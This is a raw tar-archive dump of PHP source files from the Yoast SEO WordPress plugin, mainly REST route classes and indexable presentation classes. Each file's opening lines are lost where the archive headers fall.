WP_REST_Request $request The request. This request should have a code param set. * * @return WP_REST_Response The response. */ public function authenticate( WP_REST_Request $request ) { $data = $this ->login_action ->authenticate( $request['code'], (string) $request['websiteId'] ); return new WP_REST_Response( $data, $data->status ); } /** * Posts keyphrases to track. * * @param WP_REST_Request $request The request. This request should have a code param set. * * @return WP_REST_Response The response. */ public function track_keyphrases( WP_REST_Request $request ) { $limits = $this->account_action->check_limit(); if ( $limits->status !== 200 ) { return new WP_REST_Response( $limits, $limits->status ); } $data = $this->keyphrases_action->track_keyphrases( $request['keyphrases'], $limits ); return new WP_REST_Response( $data, $data->status ); } /** * Gets the tracked keyphrases via POST. * This is done via POST, so we don't potentially run into URL limit issues when a lot of long keyphrases are tracked. * * @param WP_REST_Request $request The request. This request should have a code param set. * * @return WP_REST_Response The response. */ public function get_tracked_keyphrases( WP_REST_Request $request ) { $data = $this->keyphrases_action->get_tracked_keyphrases( $request['keyphrases'], $request['permalink'], $request['startAt'] ); return new WP_REST_Response( $data, $data->status ); } /** * Untracks the tracked keyphrase. * * @param WP_REST_Request $request The request. This request should have a code param set. * * @return WP_REST_Response The response. */ public function untrack_keyphrase( WP_REST_Request $request ) { $data = $this->keyphrases_action->untrack_keyphrase( $request['keyphraseID'] ); return new WP_REST_Response( $data, $data->status ); } /** * Checks the account limit. * * @return WP_REST_Response The response. */ public function check_limit() { $data = $this->account_action->check_limit(); return new WP_REST_Response( $data, $data->status ); } /** * Gets the upgrade campaign. * If it's not a free user, no campaign is returned. * * @return WP_REST_Response The response. */ public function get_upgrade_campaign() { $data = $this->account_action->get_upgrade_campaign(); return new WP_REST_Response( $data, $data->status ); } /** * Checks if a valid code was returned. * * @param string $code The code to check. * * @return bool Whether the code is valid. */ public function has_valid_code( $code ) { return $code !== ''; } /** * Checks if a valid website_id was returned. * * @param int $website_id The website_id to check. * * @return bool Whether the website_id is valid. */ public function has_valid_website_id( $website_id ) { return ! empty( $website_id ) && \is_int( $website_id ); } /** * Whether the current user is allowed to publish post/pages and thus use the Wincher integration. * * @return bool Whether the current user is allowed to use Wincher. */ public function can_use_wincher() { return \current_user_can( 'publish_posts' ) || \current_user_can( 'publish_pages' ); } } routes/route-interface.php000064400000000413152076255730011704 0ustar00alert_dismissal_action = $alert_dismissal_action; } /** * Registers routes with WordPress. * * @return void */ public function register_routes() { $dismiss_route_args = [ 'methods' => 'POST', 'callback' => [ $this, 'dismiss' ], 'permission_callback' => [ $this, 'can_dismiss' ], 'args' => [ 'key' => [ 'validate_callback' => [ $this->alert_dismissal_action, 'is_allowed' ], 'required' => true, ], ], ]; \register_rest_route( Main::API_V1_NAMESPACE, self::DISMISS_ROUTE, $dismiss_route_args ); } /** * Dismisses an alert. * * @param WP_REST_Request $request The request. This request should have a key param set. * * @return WP_REST_Response The response. */ public function dismiss( WP_REST_Request $request ) { $success = $this->alert_dismissal_action->dismiss( $request['key'] ); $status = $success === ( true ) ? 200 : 400; return new WP_REST_Response( (object) [ 'success' => $success, 'status' => $status, ], $status, ); } /** * Whether or not the current user is allowed to dismiss alerts. * * @return bool Whether or not the current user is allowed to dismiss alerts. */ public function can_dismiss() { return \current_user_can( 'edit_posts' ); } } routes/indexables-head-route.php000064400000004622152076255730012767 0ustar00head_action = $head_action; } /** * Returns the conditionals based in which this loadable should be active. * * @return array */ public static function get_conditionals() { return [ Headless_Rest_Endpoints_Enabled_Conditional::class ]; } /** * Registers routes with WordPress. * * @return void */ public function register_routes() { $route_args = [ 'methods' => 'GET', 'callback' => [ $this, 'get_head' ], 'permission_callback' => '__return_true', 'args' => [ 'url' => [ 'validate_callback' => [ $this, 'is_valid_url' ], 'required' => true, ], ], ]; \register_rest_route( Main::API_V1_NAMESPACE, self::HEAD_FOR_URL_ROUTE, $route_args ); } /** * Gets the head of a page for a given URL. * * @param WP_REST_Request $request The request. This request should have a url param set. * * @return WP_REST_Response The response. */ public function get_head( WP_REST_Request $request ) { $url = \esc_url_raw( \utf8_uri_encode( $request['url'] ) ); $data = $this->head_action->for_url( $url ); return new WP_REST_Response( $data, $data->status ); } /** * Checks if a url is a valid url. * * @param string $url The url to check. * * @return bool Whether or not the url is valid. */ public function is_valid_url( $url ) { $url = WPSEO_Utils::sanitize_url( \utf8_uri_encode( $url ) ); if ( \filter_var( $url, \FILTER_VALIDATE_URL ) === false ) { return false; } return true; } } routes/importing-route.php000064400000010113152076255730011752 0ustar00[\w-]+)/(?P[\w-]+)'; /** * List of available importers. * * @var Importing_Action_Interface[] */ protected $importers = []; /** * The importable detector service. * * @var Importable_Detector_Service */ protected $importable_detector; /** * Importing_Route constructor. * * @param Importable_Detector_Service $importable_detector The importable detector service. * @param Importing_Action_Interface ...$importers All available importers. */ public function __construct( Importable_Detector_Service $importable_detector, Importing_Action_Interface ...$importers ) { $this->importable_detector = $importable_detector; $this->importers = $importers; } /** * Registers routes with WordPress. * * @return void */ public function register_routes() { \register_rest_route( Main::API_V1_NAMESPACE, self::ROUTE, [ 'callback' => [ $this, 'execute' ], 'permission_callback' => [ $this, 'is_user_permitted_to_import' ], 'methods' => [ 'POST' ], ], ); } /** * Executes the rest request, but only if the respective action is enabled. * * @param mixed $data The request parameters. * * @return WP_REST_Response|false Response or false on non-existent route. */ public function execute( $data ) { $plugin = (string) $data['plugin']; $type = (string) $data['type']; $next_url = $this->get_endpoint( $plugin, $type ); try { $importer = $this->get_importer( $plugin, $type ); if ( $importer === false || ! $importer->is_enabled() ) { return new WP_Error( 'rest_no_route', 'Requested importer not found', [ 'status' => 404, ], ); } $result = $importer->index(); if ( $result === false || \count( $result ) === 0 ) { $next_url = false; } return $this->respond_with( $result, $next_url, ); } catch ( Exception $exception ) { if ( $exception instanceof Aioseo_Validation_Exception ) { return new WP_Error( 'wpseo_error_validation', $exception->getMessage(), [ 'stackTrace' => $exception->getTraceAsString() ], ); } return new WP_Error( 'wpseo_error_indexing', $exception->getMessage(), [ 'stackTrace' => $exception->getTraceAsString() ], ); } } /** * Gets the right importer for the given arguments. * * @param string $plugin The plugin to import from. * @param string $type The type of entity to import. * * @return Importing_Action_Interface|false The importer, or false if no importer was found. */ protected function get_importer( $plugin, $type ) { $importers = $this->importable_detector->filter_actions( $this->importers, $plugin, $type ); if ( \count( $importers ) !== 1 ) { return false; } return \current( $importers ); } /** * Gets the right endpoint for the given arguments. * * @param string $plugin The plugin to import from. * @param string $type The type of entity to import. * * @return string|false The endpoint for the given action or false on failure of finding the one. */ public function get_endpoint( $plugin, $type ) { if ( empty( $plugin ) || empty( $type ) ) { return false; } return Main::API_V1_NAMESPACE . "/import/{$plugin}/{$type}"; } /** * Whether or not the current user is allowed to import. * * @return bool Whether or not the current user is allowed to import. */ public function is_user_permitted_to_import() { return \current_user_can( 'activate_plugins' ); } } routes/supported-features-route.php000064400000002437152076255730013615 0ustar00 'GET', 'callback' => [ $this, 'get_supported_features' ], 'permission_callback' => '__return_true', ]; \register_rest_route( Main::API_V1_NAMESPACE, self::SUPPORTED_FEATURES_ROUTE, $supported_features_route ); } /** * Returns a list of features supported by this yoast seo installation. * * @return WP_REST_Response a list of features supported by this yoast seo installation. */ public function get_supported_features() { return new WP_REST_Response( [ 'addon-installation' => 1, ], ); } } routes/semrush-route.php000064400000014410152076255730011434 0ustar00login_action = $login_action; $this->options_action = $options_action; $this->phrases_action = $phrases_action; } /** * Registers routes with WordPress. * * @return void */ public function register_routes() { $authentication_route_args = [ 'methods' => 'POST', 'callback' => [ $this, 'authenticate' ], 'permission_callback' => [ $this, 'can_use_semrush' ], 'args' => [ 'code' => [ 'validate_callback' => [ $this, 'has_valid_code' ], 'required' => true, ], ], ]; \register_rest_route( Main::API_V1_NAMESPACE, self::AUTHENTICATION_ROUTE, $authentication_route_args ); $set_country_code_option_route_args = [ 'methods' => 'POST', 'callback' => [ $this, 'set_country_code_option' ], 'permission_callback' => [ $this, 'can_use_semrush' ], 'args' => [ 'country_code' => [ 'validate_callback' => [ $this, 'has_valid_country_code' ], 'required' => true, ], ], ]; \register_rest_route( Main::API_V1_NAMESPACE, self::COUNTRY_CODE_OPTION_ROUTE, $set_country_code_option_route_args ); $related_keyphrases_route_args = [ 'methods' => 'GET', 'callback' => [ $this, 'get_related_keyphrases' ], 'permission_callback' => [ $this, 'can_use_semrush' ], 'args' => [ 'keyphrase' => [ 'validate_callback' => [ $this, 'has_valid_keyphrase' ], 'required' => true, ], 'country_code' => [ 'required' => true, ], ], ]; \register_rest_route( Main::API_V1_NAMESPACE, self::RELATED_KEYPHRASES_ROUTE, $related_keyphrases_route_args ); } /** * Authenticates with SEMrush. * * @param WP_REST_Request $request The request. This request should have a code param set. * * @return WP_REST_Response The response. */ public function authenticate( WP_REST_Request $request ) { $data = $this ->login_action ->authenticate( $request['code'] ); return new WP_REST_Response( $data, $data->status ); } /** * Sets the SEMrush country code option. * * @param WP_REST_Request $request The request. This request should have a country code param set. * * @return WP_REST_Response The response. */ public function set_country_code_option( WP_REST_Request $request ) { $data = $this ->options_action ->set_country_code( $request['country_code'] ); return new WP_REST_Response( $data, $data->status ); } /** * Checks if a valid code was returned. * * @param string $code The code to check. * * @return bool Whether or not the code is valid. */ public function has_valid_code( $code ) { return $code !== ''; } /** * Checks if a valid keyphrase is provided. * * @param string $keyphrase The keyphrase to check. * * @return bool Whether or not the keyphrase is valid. */ public function has_valid_keyphrase( $keyphrase ) { return \trim( $keyphrase ) !== ''; } /** * Gets the related keyphrases based on the passed keyphrase and database code. * * @param WP_REST_Request $request The request. This request should have a keyphrase and country_code param set. * * @return WP_REST_Response The response. */ public function get_related_keyphrases( WP_REST_Request $request ) { $data = $this ->phrases_action ->get_related_keyphrases( $request['keyphrase'], $request['country_code'], ); return new WP_REST_Response( $data, $data->status ); } /** * Checks if a valid country code was submitted. * * @param string $country_code The country code to check. * * @return bool Whether or not the country code is valid. */ public function has_valid_country_code( $country_code ) { return ( $country_code !== '' && \preg_match( '/^[a-z]{2}$/', $country_code ) === 1 ); } /** * Whether or not the current user is allowed to edit post/pages and thus use the SEMrush integration. * * @return bool Whether or not the current user is allowed to use SEMrush. */ public function can_use_semrush() { return \current_user_can( 'edit_posts' ) || \current_user_can( 'edit_pages' ); } } routes/meta-search-route.php000064400000003742152076255730012145 0ustar00 'GET', 'callback' => [ $this, 'search_meta' ], 'permission_callback' => [ $this, 'permission_check' ], ], ]; \register_rest_route( Main::API_V1_NAMESPACE, self::META_SEARCH_ROUTE, $route ); } /** * Performs the permission check. * * @param WP_REST_Request $request The request. * * @return bool */ public function permission_check( $request ) { if ( ! isset( $request['post_id'] ) ) { return false; } $post_type = \get_post_type( $request['post_id'] ); $post_type_object = \get_post_type_object( $post_type ); return \current_user_can( $post_type_object->cap->edit_post, $request['post_id'] ); } /** * Searches meta fields of a given post. * * @param WP_REST_Request $request The REST request. * * @return WP_REST_Response */ public function search_meta( $request ) { $post_id = $request['post_id']; $query = $request['query']; $meta = \get_post_custom( $post_id ); $matches = []; foreach ( $meta as $key => $values ) { if ( \substr( $key, 0, \strlen( $query ) ) !== $query ) { continue; } if ( empty( $query ) && \substr( $key, 0, 1 ) === '_' ) { continue; } // Skip custom field values that are serialized. if ( \is_serialized( $values[0] ) ) { continue; } $matches[] = [ 'key' => $key, 'value' => $values[0], ]; if ( \count( $matches ) >= 25 ) { break; } } return \rest_ensure_response( [ 'meta' => $matches ] ); } } routes/workouts-route.php000064400000006147152076255730011653 0ustar00options_helper = $options_helper; } /** * Registers routes with WordPress. * * @return void */ public function register_routes() { $edit_others_posts = static function () { return \current_user_can( 'edit_others_posts' ); }; $workouts_route = [ [ 'methods' => 'GET', 'callback' => [ $this, 'get_workouts' ], 'permission_callback' => $edit_others_posts, ], [ 'methods' => 'POST', 'callback' => [ $this, 'set_workouts' ], 'permission_callback' => $edit_others_posts, 'args' => $this->get_workouts_routes_args(), ], ]; \register_rest_route( Main::API_V1_NAMESPACE, self::WORKOUTS_ROUTE, $workouts_route ); } /** * Returns the workouts as configured for the site. * * @return WP_REST_Response the configuration of the workouts. */ public function get_workouts() { $workouts_option = $this->options_helper->get( 'workouts_data' ); /** * Filter: 'Yoast\WP\SEO\workouts_options' - Allows adding workouts options by the add-ons. * * @param array $workouts_option The content of the `workouts_data` option in Free. */ $workouts_option = \apply_filters( 'Yoast\WP\SEO\workouts_options', $workouts_option ); return new WP_REST_Response( [ 'json' => $workouts_option ], ); } /** * Sets the workout configuration. * * @param WP_REST_Request $request The request object. * * @return WP_REST_Response the configuration of the workouts. */ public function set_workouts( $request ) { $workouts_data = $request->get_json_params(); /** * Filter: 'Yoast\WP\SEO\workouts_route_save' - Allows the add-ons to save the options data in their own options. * * @param mixed|null $result The result of the previous saving operation. * * @param array $workouts_data The full set of workouts option data to save. */ $result = \apply_filters( 'Yoast\WP\SEO\workouts_route_save', null, $workouts_data ); return new WP_REST_Response( [ 'json' => $result ], ); } /** * Gets the args for all the registered workouts. * * @return array */ private function get_workouts_routes_args() { $args_array = []; /** * Filter: 'Yoast\WP\SEO\workouts_route_args' - Allows the add-ons add their own arguments to the route registration. * * @param array $args_array The array of arguments for the route registration. */ return \apply_filters( 'Yoast\WP\SEO\workouts_route_args', $args_array ); } } routes/endpoint-interface.php000064400000000672152076255760012400 0ustar00post_indexation_action = $post_indexation_action; $this->term_indexation_action = $term_indexation_action; $this->post_type_archive_indexation_action = $post_type_archive_indexation_action; $this->general_indexation_action = $general_indexation_action; $this->indexable_indexing_complete_action = $indexable_indexing_complete_action; $this->indexing_complete_action = $indexing_complete_action; $this->prepare_indexing_action = $prepare_indexing_action; $this->options_helper = $options_helper; $this->post_link_indexing_action = $post_link_indexing_action; $this->term_link_indexing_action = $term_link_indexing_action; $this->indexing_helper = $indexing_helper; } /** * Registers the routes used to index indexables. * * @return void */ public function register_routes() { $route_args = [ 'methods' => 'POST', 'callback' => [ $this, 'index_posts' ], 'permission_callback' => [ $this, 'can_index' ], ]; \register_rest_route( Main::API_V1_NAMESPACE, self::POSTS_ROUTE, $route_args ); $route_args['callback'] = [ $this, 'index_terms' ]; \register_rest_route( Main::API_V1_NAMESPACE, self::TERMS_ROUTE, $route_args ); $route_args['callback'] = [ $this, 'index_post_type_archives' ]; \register_rest_route( Main::API_V1_NAMESPACE, self::POST_TYPE_ARCHIVES_ROUTE, $route_args ); $route_args['callback'] = [ $this, 'index_general' ]; \register_rest_route( Main::API_V1_NAMESPACE, self::GENERAL_ROUTE, $route_args ); $route_args['callback'] = [ $this, 'prepare' ]; \register_rest_route( Main::API_V1_NAMESPACE, self::PREPARE_ROUTE, $route_args ); $route_args['callback'] = [ $this, 'indexables_complete' ]; \register_rest_route( Main::API_V1_NAMESPACE, self::INDEXABLES_COMPLETE_ROUTE, $route_args ); $route_args['callback'] = [ $this, 'complete' ]; \register_rest_route( Main::API_V1_NAMESPACE, self::COMPLETE_ROUTE, $route_args ); $route_args['callback'] = [ $this, 'index_post_links' ]; \register_rest_route( Main::API_V1_NAMESPACE, self::POST_LINKS_INDEXING_ROUTE, $route_args ); $route_args['callback'] = [ $this, 'index_term_links' ]; \register_rest_route( Main::API_V1_NAMESPACE, self::TERM_LINKS_INDEXING_ROUTE, $route_args ); } /** * Indexes a number of unindexed posts. * * @return WP_REST_Response The response. */ public function index_posts() { return $this->run_indexation_action( $this->post_indexation_action, self::FULL_POSTS_ROUTE ); } /** * Indexes a number of unindexed terms. * * @return WP_REST_Response The response. */ public function index_terms() { return $this->run_indexation_action( $this->term_indexation_action, self::FULL_TERMS_ROUTE ); } /** * Indexes a number of unindexed post type archive pages. * * @return WP_REST_Response The response. */ public function index_post_type_archives() { return $this->run_indexation_action( $this->post_type_archive_indexation_action, self::FULL_POST_TYPE_ARCHIVES_ROUTE ); } /** * Indexes a number of unindexed general items. * * @return WP_REST_Response The response. */ public function index_general() { return $this->run_indexation_action( $this->general_indexation_action, self::FULL_GENERAL_ROUTE ); } /** * Indexes a number of posts for post links. * * @return WP_REST_Response The response. */ public function index_post_links() { return $this->run_indexation_action( $this->post_link_indexing_action, self::FULL_POST_LINKS_INDEXING_ROUTE ); } /** * Indexes a number of terms for term links. * * @return WP_REST_Response The response. */ public function index_term_links() { return $this->run_indexation_action( $this->term_link_indexing_action, self::FULL_TERM_LINKS_INDEXING_ROUTE ); } /** * Prepares the indexation. * * @return WP_REST_Response The response. */ public function prepare() { $this->prepare_indexing_action->prepare(); return $this->respond_with( [], false ); } /** * Completes the indexable indexation. * * @return WP_REST_Response The response. */ public function indexables_complete() { $this->indexable_indexing_complete_action->complete(); return $this->respond_with( [], false ); } /** * Completes the indexation. * * @return WP_REST_Response The response. */ public function complete() { $this->indexing_complete_action->complete(); return $this->respond_with( [], false ); } /** * Whether or not the current user is allowed to index. * * @return bool Whether or not the current user is allowed to index. */ public function can_index() { return \current_user_can( 'edit_posts' ); } /** * Runs an indexing action and returns the response. * * @param Indexation_Action_Interface $indexation_action The indexing action. * @param string $url The url of the indexing route. * * @return WP_REST_Response|WP_Error The response, or an error when running the indexing action failed. */ protected function run_indexation_action( Indexation_Action_Interface $indexation_action, $url ) { try { return parent::run_indexation_action( $indexation_action, $url ); } catch ( Exception $exception ) { $this->indexing_helper->indexing_failed(); return new WP_Error( 'wpseo_error_indexing', $exception->getMessage(), [ 'stackTrace' => $exception->getTraceAsString() ], ); } } } routes/abstract-action-route.php000064400000001173152076255760013031 0ustar00 $objects, 'next_url' => $next_url, ], ); } } presentations/indexable-error-page-presentation.php000064400000001265152076255760016703 0ustar00get_base_robots(); $robots['index'] = 'noindex'; return $this->filter_robots( $robots ); } /** * Generates the title. * * @return string The title. */ public function generate_title() { if ( $this->model->title ) { return $this->model->title; } return $this->options->get_title_default( 'title-404-wpseo' ); } } presentations/indexable-term-archive-presentation.php000064400000012302152076255760017220 0ustar00wp_query_wrapper = $wp_query_wrapper; $this->taxonomy = $taxonomy; } /** * Generates the canonical. * * @return string The canonical. */ public function generate_canonical() { if ( $this->is_multiple_terms_query() ) { return ''; } if ( $this->model->canonical ) { return $this->model->canonical; } if ( ! $this->permalink ) { return ''; } $current_page = $this->pagination->get_current_archive_page_number(); if ( $current_page > 1 ) { return $this->pagination->get_paginated_url( $this->permalink, $current_page ); } return $this->permalink; } /** * Generates the meta description. * * @return string The meta description. */ public function generate_meta_description() { if ( $this->model->description ) { return $this->model->description; } return $this->options->get( 'metadesc-tax-' . $this->model->object_sub_type ); } /** * Generates the source. * * @return array The source. */ public function generate_source() { if ( ! empty( $this->model->object_id ) || \get_queried_object() === null ) { return \get_term( $this->model->object_id, $this->model->object_sub_type ); } return \get_term( \get_queried_object()->term_id, \get_queried_object()->taxonomy ); } /** * Generates the Open Graph description. * * @return string The Open Graph description. */ public function generate_open_graph_description() { $open_graph_description = parent::generate_open_graph_description(); if ( $open_graph_description ) { return $open_graph_description; } return $this->taxonomy->get_term_description( $this->model->object_id ); } /** * Generates the Twitter description. * * @return string The Twitter description. */ public function generate_twitter_description() { $twitter_description = parent::generate_twitter_description(); if ( $twitter_description ) { return $twitter_description; } if ( $this->open_graph_description && $this->context->open_graph_enabled === true ) { return ''; } return $this->taxonomy->get_term_description( $this->model->object_id ); } /** * Generates the robots value. * * @return array The robots value. */ public function generate_robots() { $robots = $this->get_base_robots(); /** * If its a multiple terms archive page return a noindex. */ if ( $this->current_page->is_multiple_terms_page() ) { $robots['index'] = 'noindex'; return $this->filter_robots( $robots ); } /** * First we get the no index option for this taxonomy, because it can be overwritten the indexable value for * this specific term. */ if ( \is_wp_error( $this->source ) || ! $this->taxonomy->is_indexable( $this->source->taxonomy ) ) { $robots['index'] = 'noindex'; } /** * Overwrite the index directive when there is a term specific directive set. */ if ( $this->model->is_robots_noindex !== null ) { $robots['index'] = ( $this->model->is_robots_noindex ) ? 'noindex' : 'index'; } return $this->filter_robots( $robots ); } /** * Generates the title. * * @return string The title. */ public function generate_title() { if ( $this->model->title ) { return $this->model->title; } if ( \is_wp_error( $this->source ) ) { return $this->model->title; } // Get the SEO title as entered in Search Appearance. $title = $this->options->get( 'title-tax-' . $this->source->taxonomy ); if ( $title ) { return $title; } // Get the installation default title. $title = $this->options->get_title_default( 'title-tax-' . $this->source->taxonomy ); return $title; } /** * Generates the Open Graph type. * * @return string The Open Graph type. */ public function generate_open_graph_type() { return 'article'; } /** * Checks if term archive query is for multiple terms (/term-1,term-2/ or /term-1+term-2/). * * @return bool Whether the query contains multiple terms. */ protected function is_multiple_terms_query() { $query = $this->wp_query_wrapper->get_query(); if ( ! isset( $query->tax_query ) ) { return false; } if ( \is_wp_error( $this->source ) ) { return false; } $queried_terms = $query->tax_query->queried_terms; if ( empty( $queried_terms[ $this->source->taxonomy ]['terms'] ) ) { return false; } return \count( $queried_terms[ $this->source->taxonomy ]['terms'] ) > 1; } } presentations/abstract-presentation.php000064400000004530152076255760014510 0ustar00is_prototype() ) { throw new Exception( 'Attempting to create a model presentation from another model presentation. Use the prototype presentation gained from DI instead.' ); } // Clone self to allow stateful services that do benefit from DI. $presentation = clone $this; foreach ( $data as $key => $value ) { $presentation->{$key} = $value; } $presentation->is_prototype = false; return $presentation; } /** * Magic getter for lazy loading of generate functions. * * @param string $name The property to get. * * @return mixed The value if it could be generated. * * @throws Exception If there is no generator for the property. */ public function __get( $name ) { if ( $this->is_prototype() ) { throw new Exception( 'Attempting property access on prototype presentation. Use Presentation::of( $data ) to get a model presentation.' ); } $generator = "generate_$name"; if ( \method_exists( $this, $generator ) ) { $this->{$name} = $this->$generator(); return $this->{$name}; } throw new Exception( "Property $name has no generator. Expected function $generator." ); } /** * Magic isset for ensuring methods that have a generator are recognised. * * @codeCoverageIgnore Wrapper method. * * @param string $name The property to get. * * @return bool Whether or not there is a generator for the requested property. */ public function __isset( $name ) { return \method_exists( $this, "generate_$name" ); } /** * Returns `true` if this class is a prototype. * * @codeCoverageIgnore Wrapper method. * * @return bool If this class is a prototype or not. */ protected function is_prototype() { return $this->is_prototype; } } presentations/archive-adjacent-trait.php000064400000003235152076255770014507 0ustar00pagination = $pagination; } /** * Generates the rel prev. * * @return string */ public function generate_rel_prev() { if ( $this->pagination->is_rel_adjacent_disabled() ) { return ''; } $current_page = \max( 1, $this->pagination->get_current_archive_page_number() ); // Check if there is a previous page. if ( $current_page === 1 ) { return ''; } // Check if the previous page is the first page. if ( $current_page === 2 ) { return $this->permalink; } return $this->pagination->get_paginated_url( $this->permalink, ( $current_page - 1 ) ); } /** * Generates the rel next. * * @return string */ public function generate_rel_next() { if ( $this->pagination->is_rel_adjacent_disabled() ) { return ''; } $current_page = \max( 1, $this->pagination->get_current_archive_page_number() ); if ( $this->pagination->get_number_of_archive_pages() <= $current_page ) { return ''; } return $this->pagination->get_paginated_url( $this->permalink, ( $current_page + 1 ) ); } } presentations/indexable-search-result-page-presentation.php000064400000002635152076255770020336 0ustar00get_base_robots(); $robots['index'] = 'noindex'; return $this->filter_robots( $robots ); } /** * Generates the title. * * @return string The title. */ public function generate_title() { if ( $this->model->title ) { return $this->model->title; } return $this->options->get_title_default( 'title-search-wpseo' ); } /** * Generates the Twitter title. * * @return string The Twitter title. */ public function generate_twitter_title() { return $this->title; } /** * Generates the Open Graph URL. * * @return string The Open Graph URL. */ public function generate_open_graph_url() { $search_query = \get_search_query(); // Regex catches case when /search/page/N without search term is itself mistaken for search term. if ( ! empty( $search_query ) && ! \preg_match( '|^page/\d+$|', $search_query ) ) { return \get_search_link(); } return ''; } /** * Generates the Open Graph type. * * @return string The Open Graph type. */ public function generate_open_graph_type() { return 'article'; } } presentations/indexable-post-type-archive-presentation.php000064400000002715152076255770020225 0ustar00permalink; if ( ! $permalink ) { return ''; } $current_page = $this->pagination->get_current_archive_page_number(); if ( $current_page > 1 ) { return $this->pagination->get_paginated_url( $permalink, $current_page ); } return $permalink; } /** * Generates the robots value. * * @return array The robots value. */ public function generate_robots() { $robots = $this->get_base_robots(); if ( $this->options->get( 'noindex-ptarchive-' . $this->model->object_sub_type, false ) ) { $robots['index'] = 'noindex'; } return $this->filter_robots( $robots ); } /** * Generates the title. * * @return string The title. */ public function generate_title() { if ( $this->model->title ) { return $this->model->title; } $post_type = $this->model->object_sub_type; $title = $this->options->get_title_default( 'title-ptarchive-' . $post_type ); return $title; } /** * Generates the source. * * @return array The source. */ public function generate_source() { return [ 'post_type' => $this->model->object_sub_type ]; } } presentations/indexable-static-posts-page-presentation.php000064400000001721152076255770020205 0ustar00model->canonical ) { return $this->model->canonical; } $current_page = $this->pagination->get_current_archive_page_number(); if ( $current_page > 1 ) { return $this->pagination->get_paginated_url( $this->permalink, $current_page ); } return $this->permalink; } /** * Generates the Open Graph URL. * * @return string The Open Graph URL. */ public function generate_open_graph_url() { return $this->permalink; } } presentations/indexable-post-type-presentation.php000064400000024700152076255770016604 0ustar00post_type = $post_type; $this->date = $date; $this->pagination = $pagination; $this->post = $post; } /** * Generates the canonical. * * @return string The canonical. */ public function generate_canonical() { if ( $this->model->canonical ) { return $this->model->canonical; } $permalink = $this->permalink; // Fix paginated pages canonical, but only if the page is truly paginated. $current_page = $this->pagination->get_current_post_page_number(); if ( $current_page > 1 ) { $number_of_pages = $this->model->number_of_pages; if ( $number_of_pages && $current_page <= $number_of_pages ) { $permalink = $this->get_paginated_url( $permalink, $current_page ); } } return $this->url->ensure_absolute_url( $permalink ); } /** * Generates the rel prev. * * @return string The rel prev value. */ public function generate_rel_prev() { if ( $this->model->number_of_pages === null ) { return ''; } if ( $this->pagination->is_rel_adjacent_disabled() ) { return ''; } $current_page = \max( 1, $this->pagination->get_current_post_page_number() ); // Check if there is a previous page. if ( $current_page < 2 ) { return ''; } // Check if the previous page is the first page. if ( $current_page === 2 ) { return $this->model->permalink; } return $this->get_paginated_url( $this->model->permalink, ( $current_page - 1 ) ); } /** * Generates the rel next. * * @return string The rel prev next. */ public function generate_rel_next() { if ( $this->model->number_of_pages === null ) { return ''; } if ( $this->pagination->is_rel_adjacent_disabled() ) { return ''; } $current_page = \max( 1, $this->pagination->get_current_post_page_number() ); if ( $this->model->number_of_pages <= $current_page ) { return ''; } return $this->get_paginated_url( $this->model->permalink, ( $current_page + 1 ) ); } /** * Generates the open graph title. * * @return string The open graph title. */ public function generate_title() { if ( $this->model->title ) { return $this->model->title; } // Get SEO title as entered in Search appearance. $post_type = $this->model->object_sub_type; $title = $this->options->get( 'title-' . $this->model->object_sub_type ); if ( $title ) { return $title; } // Get installation default title. return $this->options->get_title_default( 'title-' . $post_type ); } /** * Generates the meta description. * * @return string The meta description. */ public function generate_meta_description() { if ( $this->model->description ) { return $this->model->description; } return $this->options->get( 'metadesc-' . $this->model->object_sub_type ); } /** * Generates the open graph description. * * @return string The open graph description. */ public function generate_open_graph_description() { if ( $this->model->open_graph_description ) { $open_graph_description = $this->model->open_graph_description; } if ( empty( $open_graph_description ) ) { // The helper applies a filter, but we don't have a default value at this stage so we pass an empty string. $open_graph_description = $this->values_helper->get_open_graph_description( '', $this->model->object_type, $this->model->object_sub_type ); } if ( empty( $open_graph_description ) ) { $open_graph_description = $this->meta_description; } if ( empty( $open_graph_description ) ) { $open_graph_description = $this->post->get_the_excerpt( $this->model->object_id ); $open_graph_description = $this->post->strip_shortcodes( $open_graph_description ); } return $open_graph_description; } /** * Generates the open graph images. * * @return array The open graph images. */ public function generate_open_graph_images() { if ( \post_password_required() ) { return []; } return parent::generate_open_graph_images(); } /** * Generates the Open Graph type. * * @return string The Open Graph type. */ public function generate_open_graph_type() { return 'article'; } /** * Generates the open graph article author. * * @return string The open graph article author. */ public function generate_open_graph_article_author() { if ( $this->model->object_sub_type !== 'post' ) { return ''; } $post = $this->source; $open_graph_article_author = $this->user->get_the_author_meta( 'facebook', $post->post_author ); if ( $open_graph_article_author ) { return $open_graph_article_author; } return ''; } /** * Generates the open graph article publisher. * * @return string The open graph article publisher. */ public function generate_open_graph_article_publisher() { $open_graph_article_publisher = $this->context->open_graph_publisher; if ( $open_graph_article_publisher ) { return $open_graph_article_publisher; } return ''; } /** * Generates the open graph article published time. * * @return string The open graph article published time. */ public function generate_open_graph_article_published_time() { if ( $this->model->object_sub_type !== 'post' ) { /** * Filter: 'wpseo_opengraph_show_publish_date' - Allow showing publication date for other post types. * * @param bool $show Whether or not to show publish date. * @param string $post_type The current URL's post type. */ if ( ! \apply_filters( 'wpseo_opengraph_show_publish_date', false, $this->post->get_post_type( $this->source ) ) ) { return ''; } } return $this->date->format( $this->source->post_date_gmt ); } /** * Generates the open graph article modified time. * * @return string The open graph article modified time. */ public function generate_open_graph_article_modified_time() { if ( \strtotime( $this->source->post_modified_gmt ) > \strtotime( $this->source->post_date_gmt ) ) { return $this->date->format( $this->source->post_modified_gmt ); } return ''; } /** * Generates the source. * * @return array The source. */ public function generate_source() { return \get_post( $this->model->object_id ); } /** * Generates the robots value. * * @return array The robots value. */ public function generate_robots() { $robots = $this->get_base_robots(); $robots = \array_merge( $robots, [ 'imageindex' => ( $this->model->is_robots_noimageindex === true ) ? 'noimageindex' : null, 'archive' => ( $this->model->is_robots_noarchive === true ) ? 'noarchive' : null, 'snippet' => ( $this->model->is_robots_nosnippet === true ) ? 'nosnippet' : null, ], ); // No snippet means max snippet can be omitted. if ( $this->model->is_robots_nosnippet === true ) { $robots['max-snippet'] = null; } // No image index means max image preview can be omitted. if ( $this->model->is_robots_noimageindex === true ) { $robots['max-image-preview'] = null; } // When the post specific index is not set, look to the post status and default of the post type. if ( $this->model->is_robots_noindex === null ) { $post_status_private = \get_post_status( $this->model->object_id ) === 'private'; $post_type_noindex = ! $this->post_type->is_indexable( $this->model->object_sub_type ); if ( $post_status_private || $post_type_noindex ) { $robots['index'] = 'noindex'; } } return $this->filter_robots( $robots ); } /** * Generates the Twitter description. * * @return string The Twitter description. */ public function generate_twitter_description() { $twitter_description = 